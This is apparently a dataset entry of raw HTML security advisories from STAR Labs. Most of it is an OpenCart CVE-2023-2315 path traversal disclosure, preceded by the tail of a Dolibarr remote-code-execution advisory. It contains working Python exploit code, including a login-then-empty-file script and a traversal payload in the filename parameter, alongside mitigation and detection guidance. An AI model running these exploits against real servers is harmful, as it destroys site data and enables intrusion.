class=\"s2\">(.+)&lt;/head&gt;&#34;</span><span class=\"p\">,</span> <span class=\"n\">res</span><span class=\"o\">.</span><span class=\"n\">text</span><span class=\"p\">,</span> <span class=\"n\">re</span><span class=\"o\">.</span><span class=\"n\">MULTILINE</span> <span class=\"o\">|</span> <span class=\"n\">re</span><span class=\"o\">.</span><span class=\"n\">DOTALL</span><span class=\"p\">)[</span><span class=\"mi\">0</span><span class=\"p\">]</span><span class=\"o\">.</span><span class=\"n\">strip</span><span class=\"p\">()</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">        <span class=\"nb\">print</span><span class=\"p\">(</span><span class=\"sa\">f</span><span class=\"s2\">&#34;[+] RCE successful! Output of command:</span><span class=\"se\">\\n\\n</span><span class=\"si\">{</span><span class=\"n\">output</span><span class=\"si\">}</span><span class=\"s2\">&#34;</span><span class=\"p\">)</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">\r\n</span></span><span class=\"line\"><span class=\"cl\"><span class=\"k\">def</span> <span class=\"nf\">main</span><span class=\"p\">():</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">    <span class=\"n\">check_args</span><span class=\"p\">()</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">    <span class=\"n\">authenticate</span><span class=\"p\">()</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">    <span class=\"n\">rce</span><span class=\"p\">()</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">\r\n</span></span><span class=\"line\"><span class=\"cl\"><span class=\"k\">if</span> <span class=\"vm\">__name__</span> <span class=\"o\">==</span> <span class=\"s2\">&#34;__main__&#34;</span><span class=\"p\">:</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">    <span class=\"n\">main</span><span class=\"p\">()</span>\r\n</span></span></code></pre></div><p><img loading=\"lazy\" src=\"/advisories/23/images/CVE-2023-4197_02.Exploit.gif\" alt=\"\"  />\r\n</p>\r\n<h2 id=\"suggested-mitigations\">Suggested Mitigations:<a hidden class=\"anchor\" aria-hidden=\"true\" href=\"#suggested-mitigations\">#</a></h2>\r\n<p>Update the Dolibarr installation to the latest version as shown from the official repository <a href=\"https://github.com/Dolibarr/dolibarr/releases\">releases page</a>.</p>\r\n<h2 id=\"detection-guidance\">Detection Guidance:<a hidden class=\"anchor\" aria-hidden=\"true\" href=\"#detection-guidance\">#</a></h2>\r\n<p>It is possible to detect the exploitation of this vulnerability by checking the <code>/document/</code> directory (default upload directory) to see if there are any <code>.tpl</code> files containing <code>&lt;?</code> tags, and further inspecting the code contained within.</p>\r\n<h2 id=\"credits\">Credits:<a hidden class=\"anchor\" aria-hidden=\"true\" href=\"#credits\">#</a></h2>\r\n<p>Poh Jia Hao (<a href=\"https://twitter.com/Chocologicall\">@Chocologicall</a>) of STAR Labs SG Pte. Ltd. (<a href=\"https://twitter.com/starlabs_sg\">@starlabs_sg</a>)</p>\r\n<h2 id=\"timeline\">Timeline:<a hidden class=\"anchor\" aria-hidden=\"true\" href=\"#timeline\">#</a></h2>\r\n<ul>\r\n<li>2023-09-04 Reported vulnerability to Dolibarr owner</li>\r\n<li>2023-09-05 Dolibarr owner acknowledged vulnerability and pushed a patch <a href=\"https://github.com/Dolibarr/dolibarr/commit/0ed6a63fb06be88be5a4f8bcdee83185eee4087e\">commit</a>. Also mentioned that it will be in the next release</li>\r\n<li>2023-10-11 New version containing patch released</li>\r\n<li>2023-11-01 Public Release</li>\r\n</ul>\r\n\r\n\r\n  </div>\r\n\r\n  <footer class=\"post-footer\">\r\n    <ul class=\"post-tags\">\r\n    </ul>\r\n<nav class=\"paginav\">\r\n  <a class=\"prev\" href=\"https://starlabs.sg/advisories/23/23-1720/\">\r\n    <span class=\"title\">« Prev</span>\r\n    <br>\r\n    <span>(CVE-2023-1720) Bitrix24 Stored Cross-Site Scripting (XSS) via File Upload</span>\r\n  </a>\r\n  <a class=\"next\" href=\"https://starlabs.sg/advisories/23/23-4198/\">\r\n    <span class=\"title\">Next »</span>\r\n    <br>\r\n    <span>(CVE-2023-4198) Dolibarr ERP CRM (&lt;= 17.0.3) Improper Access Control</span>\r\n  </a>\r\n</nav>\r\n\r\n  </footer>\r\n</article>\r\n    </main>\r\n    \r\n<footer class=\"footer\">\r\n    <span>&copy; 2024 <a href=\"https://starlabs.sg/\">STAR Labs</a></span>\r\n    <span>\r\n        Powered by\r\n        <a href=\"https://gohugo.io/\" rel=\"noopener noreferrer\" target=\"_blank\">Hugo</a> &\r\n        <a href=\"https://git.io/hugopapermod\" rel=\"noopener\" target=\"_blank\">PaperMod</a>\r\n    </span>\r\n</footer>\r\n<a href=\"#top\" aria-label=\"go to top\" title=\"Go to Top (Alt + G)\" class=\"top-link\" id=\"top-link\" accesskey=\"g\">\r\n    <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 12 6\" fill=\"currentColor\">\r\n        <path d=\"M12 6H0l6-6z\" />\r\n    </svg>\r\n</a>\r\n\r\n<script>\r\n    let menu = document.getElementById('menu')\r\n    if (menu) {\r\n        menu.scrollLeft = localStorage.getItem(\"menu-scroll-position\");\r\n        menu.onscroll = function () {\r\n            localStorage.setItem(\"menu-scroll-position\", menu.scrollLeft);\r\n        }\r\n    }\r\n\r\n    document.querySelectorAll('a[href^=\"#\"]').forEach(anchor => {\r\n        anchor.addEventListener(\"click\", function (e) {\r\n            e.preventDefault();\r\n            var id = this.getAttribute(\"href\").substr(1);\r\n            if (!window.matchMedia('(prefers-reduced-motion: reduce)').matches) {\r\n                document.querySelector(`[id='${decodeURIComponent(id)}']`).scrollIntoView({\r\n                    behavior: \"smooth\"\r\n                });\r\n            } else {\r\n                document.querySelector(`[id='${decodeURIComponent(id)}']`).scrollIntoView();\r\n            }\r\n            if (id === \"top\") {\r\n                history.replaceState(null, null, \" \");\r\n            } else {\r\n                history.pushState(null, null, `#${id}`);\r\n            }\r\n        });\r\n    });\r\n\r\n</script>\r\n<script>\r\n    var mybutton = document.getElementById(\"top-link\");\r\n    window.onscroll = function () {\r\n        if (document.body.scrollTop > 800 || document.documentElement.scrollTop > 800) {\r\n            mybutton.style.visibility = \"visible\";\r\n            mybutton.style.opacity = \"1\";\r\n        } else {\r\n            mybutton.style.visibility = \"hidden\";\r\n            mybutton.style.opacity = \"0\";\r\n        }\r\n    };\r\n\r\n</script>\r\n</body>\r\n\r\n</html>\r\n"
  },
  {
    "path": "task1_source_code/test_examples/202",
    "content": "\r\n<!DOCTYPE html>\r\n<html lang=\"en\" dir=\"auto\">\r\n\r\n<head><meta charset=\"utf-8\">\r\n<meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge\">\r\n<meta name=\"viewport\" content=\"width=device-width, initial-scale=1, shrink-to-fit=no\">\r\n<meta name=\"robots\" content=\"index, follow\">\r\n<title>(CVE-2023-2315) Path Traversal in OpenCart versions 4.0.0.0 to 4.0.2.2 | STAR Labs</title>\r\n<meta name=\"keywords\" content=\"\">\r\n<meta name=\"description\" content=\"Summary:    Product OpenCart     Vendor OpenCart   Severity High - Adversaries may exploit software vulnerabilities to empty any file on the server with write permissions.   Affected Versions 4.0.0.0 - 4.0.2.2   Tested Version(s) 4.0.2.2   CVE Identifier CVE-2023-2315   CVE Description Path traversal in Opencart versions 4.0.0.0 to 4.0.2.2 allows authenticated backend users to empty any existing file on the server with write permissions.\">\r\n<meta name=\"author\" content=\"Poh Jia Hao (@Chocologicall)\">\r\n<link rel=\"canonical\" href=\"https://starlabs.sg/advisories/23/23-2315/\">\r\n<link crossorigin=\"anonymous\" href=\"/assets/css/stylesheet.min.ec8da366ca2fb647537ccb7a8f6fa5b4e9cd3c7a0d3171dd2d3baad1e49c8bfc.css\" integrity=\"sha256-7I2jZsovtkdTfMt6j2&#43;ltOnNPHoNMXHdLTuq0eSci/w=\" rel=\"preload stylesheet\" as=\"style\">\r\n<script defer crossorigin=\"anonymous\" src=\"/assets/js/highlight.min.2840b7fccd34145847db71a290569594bdbdb00047097f75d6495d162f5d7dff.js\" integrity=\"sha256-KEC3/M00FFhH23GikFaVlL29sABHCX911kldFi9dff8=\"\r\n    onload=\"hljs.initHighlightingOnLoad();\"></script>\r\n<link rel=\"icon\" href=\"https://starlabs.sg/logo-white.png\">\r\n<link rel=\"icon\" type=\"image/png\" sizes=\"16x16\" href=\"https://starlabs.sg/logo-white.png\">\r\n<link rel=\"icon\" type=\"image/png\" sizes=\"32x32\" href=\"https://starlabs.sg/logo-white.png\">\r\n<link rel=\"apple-touch-icon\" href=\"https://starlabs.sg/logo-white.png\">\r\n<link rel=\"mask-icon\" href=\"https://starlabs.sg/logo-white.png\">\r\n<meta name=\"theme-color\" content=\"#2e2e33\">\r\n<meta name=\"msapplication-TileColor\" content=\"#2e2e33\">\r\n<noscript>\r\n    <style>\r\n        #theme-toggle,\r\n        .top-link {\r\n            display: none;\r\n        }\r\n\r\n    </style>\r\n</noscript>\r\n<script async src=\"https://www.googletagmanager.com/gtag/js?id=G-0F9M1FRFWQ\"></script>\r\n<script>\r\nvar doNotTrack = false;\r\nif (!doNotTrack) {\r\n\twindow.dataLayer = window.dataLayer || [];\r\n\tfunction gtag(){dataLayer.push(arguments);}\r\n\tgtag('js', new Date());\r\n\tgtag('config', 'G-0F9M1FRFWQ', { 'anonymize_ip': false });\r\n}\r\n</script>\r\n<meta property=\"og:title\" content=\"(CVE-2023-2315) Path Traversal in OpenCart versions 4.0.0.0 to 4.0.2.2\" />\r\n<meta property=\"og:description\" content=\"Summary:    Product OpenCart     Vendor OpenCart   Severity High - Adversaries may exploit software vulnerabilities to empty any file on the server with write permissions.   Affected Versions 4.0.0.0 - 4.0.2.2   Tested Version(s) 4.0.2.2   CVE Identifier CVE-2023-2315   CVE Description Path traversal in Opencart versions 4.0.0.0 to 4.0.2.2 allows authenticated backend users to empty any existing file on the server with write permissions.\" />\r\n<meta property=\"og:type\" content=\"article\" />\r\n<meta property=\"og:url\" content=\"https://starlabs.sg/advisories/23/23-2315/\" /><meta property=\"og:image\" content=\"https://starlabs.sg/logo-white.png\"/><meta property=\"article:section\" content=\"advisories\" />\r\n<meta property=\"article:published_time\" content=\"2023-09-18T00:00:00&#43;00:00\" />\r\n<meta property=\"article:modified_time\" content=\"2023-09-18T00:00:00&#43;00:00\" /><meta property=\"og:site_name\" content=\"STAR Labs\" />\r\n\r\n<meta name=\"twitter:card\" content=\"summary_large_image\"/>\r\n<meta name=\"twitter:image\" content=\"https://starlabs.sg/logo-white.png\"/>\r\n\r\n<meta name=\"twitter:title\" content=\"(CVE-2023-2315) Path Traversal in OpenCart versions 4.0.0.0 to 4.0.2.2\"/>\r\n<meta name=\"twitter:description\" content=\"Summary:    Product OpenCart     Vendor OpenCart   Severity High - Adversaries may exploit software vulnerabilities to empty any file on the server with write permissions.   Affected Versions 4.0.0.0 - 4.0.2.2   Tested Version(s) 4.0.2.2   CVE Identifier CVE-2023-2315   CVE Description Path traversal in Opencart versions 4.0.0.0 to 4.0.2.2 allows authenticated backend users to empty any existing file on the server with write permissions.\"/>\r\n\r\n\r\n<script type=\"application/ld+json\">\r\n{\r\n  \"@context\": \"https://schema.org\",\r\n  \"@type\": \"BreadcrumbList\",\r\n  \"itemListElement\": [\r\n    {\r\n      \"@type\": \"ListItem\",\r\n      \"position\":  1 ,\r\n      \"name\": \"Advisories\",\r\n      \"item\": \"https://starlabs.sg/advisories/\"\r\n    }, \r\n    {\r\n      \"@type\": \"ListItem\",\r\n      \"position\":  2 ,\r\n      \"name\": \"(CVE-2023-2315) Path Traversal in OpenCart versions 4.0.0.0 to 4.0.2.2\",\r\n      \"item\": \"https://starlabs.sg/advisories/23/23-2315/\"\r\n    }\r\n  ]\r\n}\r\n</script>\r\n<script type=\"application/ld+json\">\r\n{\r\n  \"@context\": \"https://schema.org\",\r\n  \"@type\": \"BlogPosting\",\r\n  \"headline\": \"(CVE-2023-2315) Path Traversal in OpenCart versions 4.0.0.0 to 4.0.2.2\",\r\n  \"name\": \"(CVE-2023-2315) Path Traversal in OpenCart versions 4.0.0.0 to 4.0.2.2\",\r\n  \"description\": \"Summary:    Product OpenCart     Vendor OpenCart   Severity High - Adversaries may exploit software vulnerabilities to empty any file on the server with write permissions.   Affected Versions 4.0.0.0 - 4.0.2.2   Tested Version(s) 4.0.2.2   CVE Identifier CVE-2023-2315   CVE Description Path traversal in Opencart versions 4.0.0.0 to 4.0.2.2 allows authenticated backend users to empty any existing file on the server with write permissions.\",\r\n  \"keywords\": [\r\n    \r\n  ],\r\n  \"articleBody\": \"Summary:    Product OpenCart     Vendor OpenCart   Severity High - Adversaries may exploit software vulnerabilities to empty any file on the server with write permissions.   Affected Versions 4.0.0.0 - 4.0.2.2   Tested Version(s) 4.0.2.2   CVE Identifier CVE-2023-2315   CVE Description Path traversal in Opencart versions 4.0.0.0 to 4.0.2.2 allows authenticated backend users to empty any existing file on the server with write permissions.   CWE Classification(s) CWE-27 - Path Traversal: ‘dir/../../filename’   CAPEC Classification(s) CAPEC-126 - Path Traversal    CVSS3.1 Scoring System: Base Score: 8.1 (High)\\nVector String: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H\\n   Metric Value     Attack Vector (AV) Network   Attack Complexity (AC) Low   Privileges Required (PR) Low   User Interaction (UI) None   Scope (S) Unchanged   Confidentiality (C) None   Integrity (I) High   Availability (A) High    Product Overview: Opencart is an open source ecommerce platform for online merchants to self-host and list their products for sale. It is structured in a way that allows for a quick setup and Opencart also provides a cloud solution for users who do not want to have an on-premise setup. Opencart is split into two fronts: a storefront containing a catalogue that regular users will access, as well as a backend administrative dashboard for management purposes. Account roles for the backend dashboard are highly customizable, allowing the owner of the website to initialise custom roles with different privileges and access, by using the fine-grained controls.\\nVulnerability Summary: There is a path traversal vulnerability at the Logs section of the backend dashboard, which allows an authenticated adversary to empty any existing file on the web server, given that there is write permissions on the file. By default, every OpenCart file is able to be emptied. This means that the availability of the website will be heavily impacted by emptying the core files, preventing regular functionality of the website. This vulnerability was introduced from versions 4.0.0.0 onward and patched in version 4.0.2.3.\\nVulnerability Details: A backend user with “access” and “modify” permissions on the “tool/log” setting is able to clear the logs of the website. When clearing the logs in a regular use case, a HTTP GET request is sent to delete the file “error.log”, by specifying it in the filename query parameter. The relevant code that is vulnerable can be found below:\\n// /admin/controller/tool/log.php  public function clear(): void { if (isset($this-request-get['filename'])) { $filename = (string)$this-request-get['filename']; // [1]  } else { $filename = ''; } $json = []; if (!$this-user-hasPermission('modify', 'tool/log')) { $json['error'] = $this-language-get('error_permission'); } // DIR_LOGS = /system/storage/logs/  $file = DIR_LOGS . $filename; // [2]  if (!is_file($file)) { $json['error'] = sprintf($this-language-get('error_file'), $filename); } if (!$json) { $handle = fopen($file, 'w+'); // [3]  fclose($handle); $json['success'] = $this-language-get('text_success'); } // ... } At [1], the filename is obtained from the incoming HTTP GET request and stored into the $filename PHP variable without any form of input sanitisation. At [2], the file name is appended to the back of the storage log path /system/storage/logs/ and stored into another variable $file. At [3], the $file variable is used in a fopen() function call with the mode set to w+. This means that the existing file will have its content emptied. Since a file existence check occurs before this, it is not possible to create files that do not already exist.\\nIn a normal scenario, the file /system/storage/logs/error.log will be emptied after the GET request is sent. However, since there is a lack of input sanitisation, it is possible for the filename query parameter to contain any number of path traversal sequence (../) to traverse out of the intended directory and point to other files instead. This results in other files being emptied and permanently affecting the website’s functionality.\\nExploit Conditions: This vulnerability can be exploited when the attacker has a set of valid credentials to the backend dashboard with access and modify permissions on tool/log.\\nProof-of-Concept: We have tried our best to make the PoC as portable as possible. This report includes a functional exploit written in Python3 that exploits the Path Traversal vulnerability.\\nThe vulnerability can be exploited by sending a GET request to https://TARGET_HOST/admin/index.php?route=tool/log.clear\\u0026user_token=\\u0026filename=../../../../../../tmp/PoC.txt, for example:\\nGET /admin/index.php?route=tool/log.clear\\u0026filename=../../../../../../tmp/PoC.txt\\u0026user_token=4d6d604d8862798e96fe91846f28a36f HTTP/1.1 Host: TARGET_HOST Cookie: OCSESSID=4f09deedf4a82f9c5b4bee9ec3; Before running the exploit below, please ensure that you create a non-empty file /tmp/PoC.txt and that it has write permissions for the web user:\\n$ echo \\\"Hello\\\"  /tmp/PoC.txt $ chmod 777 /tmp/PoC.txt $ ls -la /tmp/PoC.txt -rwxrwxrwx 1 root root 6 Apr 26 09:36 /tmp/PoC.txt Then, run the exploit below:\\n# Opencart v4.0.0.0 - v4.0.2.2 path traversal arbitrary file emptying (CVE-2023-2315) # Author: Poh Jia Hao (STAR Labs SG Pte. Ltd.) #!/usr/bin/env python3 import re import requests import sys requests.packages.urllib3.disable_warnings() s = requests.Session() def check_args(): global target, username, password print(\\\"\\\\n======= Opencart v4.0.0.0 - v4.0.2.2 path traversal arbitrary file emptying (CVE-2023-2315) =======\\\") print(\\\"Please ensure that a file /tmp/PoC.txt with write permissions has been created on the target server with non-empty content!\\\\n\\\") if len(sys.argv) != 4: print(\\\"[!] Please enter the required arguments like so: python3 {}http://TARGET_URL/ADMIN_PATH/ USERNAME PASSWORD\\\".format(sys.argv[0])) sys.exit(1) target = sys.argv[1].strip(\\\"/\\\") username = sys.argv[2] password = sys.argv[3] def authenticate(): global user_token print(\\\"[+] Attempting to authenticate...\\\") # Get login_token path = f\\\"{target}/index.php\\\" res = s.get(path) login_token = re.findall(\\\"login_token=(.+)\\\\\\\"method\\\", res.text)[0] # Perform login and get user_token data = { \\\"username\\\": username, \\\"password\\\": password } path = f\\\"{target}/index.php?route=common/login.login\\u0026login_token={login_token}\\\" res = s.post(path, data=data) user_token = re.findall(\\\"user_token=(.+)\\\\\\\"\\\", res.text)[0] if not user_token: print(\\\"[!] Failed to authenticate! Are the credentials correct?\\\") sys.exit(1) print(\\\"[+] Authenticated successfully.\\\") def delete(): print(\\\"[+] Attempting to empty /tmp/PoC.txt...\\\") # Empty /tmp/PoC.txt path = f\\\"{target}/index.php?route=tool/log.clear\\u0026filename=../../../../../../tmp/PoC.txt\\u0026user_token={user_token}\\\" res = s.get(path) print(f\\\"[+] Output: {res.text}\\\") def main(): check_args() authenticate() delete() if __name__ == \\\"__main__\\\": main() Suggested Mitigations: The patch 0a8dd91 addresses this vulnerability. It is recommended to apply this commit to your installation of OpenCart.\\nDetection Guidance: It is possible to detect the exploitation of this vulnerability by checking the server’s access logs for all GET requests made to /admin/index.php?route=tool/log.clear, and filtering for requests that contain ../ in the filename query parameter.\\nCredits: Poh Jia Hao (@Chocologicall) of STAR Labs SG Pte. Ltd. (@starlabs_sg)\\nTimeline:  2022-09-06 Followed the security bug reporting instructions and created an OpenCart forum account to try to report to the administrators, but new accounts are unable to send private messages. 2022-09-11 Email sent to support@opencart.com in an attempt to establish a proper communication channel with the project owner/maintainers. 2022-09-12 Support agent replied and suggested to describe the issue in a public channel via their GitHub Issues tracker, to which we reminded that it is a security bug on the latest version. Support agent then requested to send them the report where they will forward it to the developers. We instead requested for the public key of the developers so that the report can be encrypted to prevent information leakage. Support agent replied “they do not have such”. 2022-09-14 Tried the “Contact Us” form on OpenCart’s website. Ended up with a second support ticket being opened. 2022-09-15 Opened a GitHub Issue (#12684) in a last resort to establish a proper communication channel with the developers. Issue closed immediately by the project owner, and marked as spam. 2022-09-15 Email sent directly to webmaster@opencart.com as it is used for GitHub commits. 2022-09-15 Project owner replied and we sent the bug report over. 2022-09-15 Bug fixed in commit 0a8dd91 2023-09-18 Public Release  \",\r\n  \"wordCount\" : \"1187\",\r\n  \"inLanguage\": \"en\",\r\n  \"datePublished\": \"2023-09-18T00:00:00Z\",\r\n  \"dateModified\": \"2023-09-18T00:00:00Z\",\r\n  \"author\":{\r\n    \"@type\": \"Person\",\r\n    \"name\": \"Poh Jia Hao (@Chocologicall)\"\r\n  },\r\n  \"mainEntityOfPage\": {\r\n    \"@type\": \"WebPage\",\r\n    \"@id\": \"https://starlabs.sg/advisories/23/23-2315/\"\r\n  },\r\n  \"publisher\": {\r\n    \"@type\": \"Organization\",\r\n    \"name\": \"STAR Labs\",\r\n    \"logo\": {\r\n      \"@type\": \"ImageObject\",\r\n      \"url\": \"https://starlabs.sg/logo-white.png\"\r\n    }\r\n  }\r\n}\r\n</script>\r\n</head>\r\n\r\n<body class=\" dark\" id=\"top\">\r\n\r\n<header class=\"header\">\r\n    <nav class=\"nav\">\r\n        <div class=\"logo\">\r\n            <a href=\"https://starlabs.sg/\" accesskey=\"h\" title=\"  (Alt + H)\">\r\n                <img src=\"https://starlabs.sg/logo-white.png\" alt=\"logo\" aria-label=\"logo\"\r\n                    height=\"35\"> </a>\r\n            <span class=\"logo-switches\">\r\n            </span>\r\n        </div>\r\n        <ul id=\"menu\">\r\n            <li>\r\n                <a href=\"https://starlabs.sg/\" title=\"Home\">\r\n                    <span>Home</span>\r\n                </a>\r\n            </li>\r\n            <li>\r\n                <a href=\"https://starlabs.sg/about/\" title=\"About\">\r\n                    <span>About</span>\r\n                </a>\r\n            </li>\r\n            <li>\r\n                <a href=\"https://starlabs.sg/advisories/\" title=\"Advisories\">\r\n                    <span>Advisories</span>\r\n                </a>\r\n            </li>\r\n            <li>\r\n                <a href=\"https://starlabs.sg/blog/\" title=\"Blog\">\r\n                    <span>Blog</span>\r\n                </a>\r\n            </li>\r\n            <li>\r\n                <a href=\"https://starlabs.sg/achievements/\" title=\"Achievements\">\r\n                    <span>Achievements</span>\r\n                </a>\r\n            </li>\r\n            <li>\r\n                <a href=\"https://starlabs.sg/publications/\" title=\"Publications\">\r\n                    <span>Publications</span>\r\n                </a>\r\n            </li>\r\n            <li>\r\n                <a href=\"https://starlabs.sg/search/\" title=\"Search (Alt &#43; /)\" accesskey=/>\r\n                    <span>Search</span>\r\n                </a>\r\n            </li>\r\n        </ul>\r\n    </nav>\r\n</header>\r\n<main class=\"main\">\r\n\r\n<article class=\"post-single\">\r\n  <header class=\"post-header\">\r\n    <div class=\"breadcrumbs\"><a href=\"https://starlabs.sg/\">Home</a>&nbsp;»&nbsp;<a href=\"https://starlabs.sg/advisories/\">Advisories</a></div>\r\n    <h1 class=\"post-title\">\r\n      (CVE-2023-2315) Path Traversal in OpenCart versions 4.0.0.0 to 4.0.2.2\r\n    </h1>\r\n    <div class=\"post-meta\"><span title='2023-09-18 00:00:00 +0000 UTC'>September 18, 2023</span>&nbsp;·&nbsp;6 min&nbsp;·&nbsp;Poh Jia Hao (@Chocologicall)\r\n\r\n</div>\r\n  </header> <div class=\"toc\">\r\n    <details >\r\n        <summary accesskey=\"c\" title=\"(Alt + C)\">\r\n            <span class=\"details\">Table of Contents</span>\r\n        </summary>\r\n\r\n        <div class=\"inner\"><ul>\r\n                <li>\r\n                    <a href=\"#summary\" aria-label=\"Summary:\">Summary:</a></li>\r\n                <li>\r\n                    <a href=\"#cvss31-scoring-system\" aria-label=\"CVSS3.1 Scoring System:\">CVSS3.1 Scoring System:</a></li>\r\n                <li>\r\n                    <a href=\"#product-overview\" aria-label=\"Product Overview:\">Product Overview:</a></li>\r\n                <li>\r\n                    <a href=\"#vulnerability-summary\" aria-label=\"Vulnerability Summary:\">Vulnerability Summary:</a></li>\r\n                <li>\r\n                    <a href=\"#vulnerability-details\" aria-label=\"Vulnerability Details:\">Vulnerability Details:</a></li>\r\n                <li>\r\n                    <a href=\"#exploit-conditions\" aria-label=\"Exploit Conditions:\">Exploit Conditions:</a></li>\r\n                <li>\r\n                    <a href=\"#proof-of-concept\" aria-label=\"Proof-of-Concept:\">Proof-of-Concept:</a></li>\r\n                <li>\r\n                    <a href=\"#suggested-mitigations\" aria-label=\"Suggested Mitigations:\">Suggested Mitigations:</a></li>\r\n                <li>\r\n                    <a href=\"#detection-guidance\" aria-label=\"Detection Guidance:\">Detection Guidance:</a></li>\r\n                <li>\r\n                    <a href=\"#credits\" aria-label=\"Credits:\">Credits:</a></li>\r\n                <li>\r\n                    <a href=\"#timeline\" aria-label=\"Timeline:\">Timeline:</a>\r\n                </li>\r\n            </ul>\r\n        </div>\r\n    </details>\r\n</div>\r\n\r\n  <div class=\"post-content\"><h2 id=\"summary\">Summary:<a hidden class=\"anchor\" aria-hidden=\"true\" href=\"#summary\">#</a></h2>\r\n<table>\r\n<thead>\r\n<tr>\r\n<th><strong>Product</strong></th>\r\n<th>OpenCart</th>\r\n</tr>\r\n</thead>\r\n<tbody>\r\n<tr>\r\n<td><strong>Vendor</strong></td>\r\n<td>OpenCart</td>\r\n</tr>\r\n<tr>\r\n<td><strong>Severity</strong></td>\r\n<td>High - Adversaries may exploit software vulnerabilities to empty any file on the server with write permissions.</td>\r\n</tr>\r\n<tr>\r\n<td><strong>Affected Versions</strong></td>\r\n<td>4.0.0.0 - 4.0.2.2</td>\r\n</tr>\r\n<tr>\r\n<td><strong>Tested Version(s)</strong></td>\r\n<td>4.0.2.2</td>\r\n</tr>\r\n<tr>\r\n<td><strong>CVE Identifier</strong></td>\r\n<td>CVE-2023-2315</td>\r\n</tr>\r\n<tr>\r\n<td><strong>CVE Description</strong></td>\r\n<td>Path traversal in Opencart versions 4.0.0.0 to 4.0.2.2 allows authenticated backend users to empty any existing file on the server with write permissions.</td>\r\n</tr>\r\n<tr>\r\n<td><strong>CWE Classification(s)</strong></td>\r\n<td>CWE-27 - Path Traversal: &lsquo;dir/../../filename&rsquo;</td>\r\n</tr>\r\n<tr>\r\n<td><strong>CAPEC Classification(s)</strong></td>\r\n<td>CAPEC-126 - Path Traversal</td>\r\n</tr>\r\n</tbody>\r\n</table>\r\n<h2 id=\"cvss31-scoring-system\">CVSS3.1 Scoring System:<a hidden class=\"anchor\" aria-hidden=\"true\" href=\"#cvss31-scoring-system\">#</a></h2>\r\n<p><strong>Base Score:</strong> 8.1 (High)<br>\r\n<strong>Vector String:</strong> <code>CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H</code></p>\r\n<table>\r\n<thead>\r\n<tr>\r\n<th><strong>Metric</strong></th>\r\n<th><strong>Value</strong></th>\r\n</tr>\r\n</thead>\r\n<tbody>\r\n<tr>\r\n<td><strong>Attack Vector (AV)</strong></td>\r\n<td>Network</td>\r\n</tr>\r\n<tr>\r\n<td><strong>Attack Complexity (AC)</strong></td>\r\n<td>Low</td>\r\n</tr>\r\n<tr>\r\n<td><strong>Privileges Required (PR)</strong></td>\r\n<td>Low</td>\r\n</tr>\r\n<tr>\r\n<td><strong>User Interaction (UI)</strong></td>\r\n<td>None</td>\r\n</tr>\r\n<tr>\r\n<td><strong>Scope (S)</strong></td>\r\n<td>Unchanged</td>\r\n</tr>\r\n<tr>\r\n<td><strong>Confidentiality (C)</strong></td>\r\n<td>None</td>\r\n</tr>\r\n<tr>\r\n<td><strong>Integrity (I)</strong></td>\r\n<td>High</td>\r\n</tr>\r\n<tr>\r\n<td><strong>Availability (A)</strong></td>\r\n<td>High</td>\r\n</tr>\r\n</tbody>\r\n</table>\r\n<h2 id=\"product-overview\">Product Overview:<a hidden class=\"anchor\" aria-hidden=\"true\" href=\"#product-overview\">#</a></h2>\r\n<p>Opencart is an open source ecommerce platform for online merchants to self-host and list their products for sale. It is structured in a way that allows for a quick setup and Opencart also provides a cloud solution for users who do not want to have an on-premise setup. Opencart is split into two fronts: a storefront containing a catalogue that regular users will access, as well as a backend administrative dashboard for management purposes. Account roles for the backend dashboard are highly customizable, allowing the owner of the website to initialise custom roles with different privileges and access, by using the fine-grained controls.</p>\r\n<h2 id=\"vulnerability-summary\">Vulnerability Summary:<a hidden class=\"anchor\" aria-hidden=\"true\" href=\"#vulnerability-summary\">#</a></h2>\r\n<p>There is a path traversal vulnerability at the Logs section of the backend dashboard, which allows an authenticated adversary to empty any existing file on the web server, given that there is write permissions on the file. By default, every OpenCart file is able to be emptied. This means that the availability of the website will be heavily impacted by emptying the core files, preventing regular functionality of the website. This vulnerability was introduced from <a href=\"https://github.com/opencart/opencart/commit/23b9d53e4c903e1a33278c199b2013f2267881cb#diff-102e09e795272ef9414f0d1affbe6e193b95d5d0bd33b9f776515b1d112e428f\">versions 4.0.0.0 onward</a> and patched in <a href=\"https://github.com/opencart/opencart/commit/0a8dd91e385f70e42795380009fd644224c1bc97\">version 4.0.2.3</a>.</p>\r\n<h2 id=\"vulnerability-details\">Vulnerability Details:<a hidden class=\"anchor\" aria-hidden=\"true\" href=\"#vulnerability-details\">#</a></h2>\r\n<p>A backend user with &ldquo;access&rdquo; and &ldquo;modify&rdquo; permissions on the &ldquo;tool/log&rdquo; setting is able to clear the logs of the website. When clearing the logs in a regular use case, a HTTP GET request is sent to delete the file &ldquo;error.log&rdquo;, by specifying it in the <code>filename</code> query parameter. The relevant code that is vulnerable can be found below:</p>\r\n<div class=\"highlight\"><pre tabindex=\"0\" class=\"chroma\"><code class=\"language-php\" data-lang=\"php\"><span class=\"line\"><span class=\"cl\"><span class=\"c1\">// /admin/controller/tool/log.php\r\n</span></span></span><span class=\"line\"><span class=\"cl\"><span class=\"c1\"></span>\r\n</span></span><span class=\"line\"><span class=\"cl\"><span class=\"k\">public</span> <span class=\"k\">function</span> <span class=\"nf\">clear</span><span class=\"p\">()</span><span class=\"o\">:</span> <span class=\"nx\">void</span> <span class=\"p\">{</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">\r\n</span></span><span class=\"line\"><span class=\"cl\">    <span class=\"k\">if</span> <span class=\"p\">(</span><span class=\"nx\">isset</span><span class=\"p\">(</span><span class=\"nv\">$this</span><span class=\"o\">-&gt;</span><span class=\"na\">request</span><span class=\"o\">-&gt;</span><span class=\"na\">get</span><span class=\"p\">[</span><span class=\"s1\">&#39;filename&#39;</span><span class=\"p\">]))</span> <span class=\"p\">{</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">        <span class=\"nv\">$filename</span> <span class=\"o\">=</span> <span class=\"p\">(</span><span class=\"nx\">string</span><span 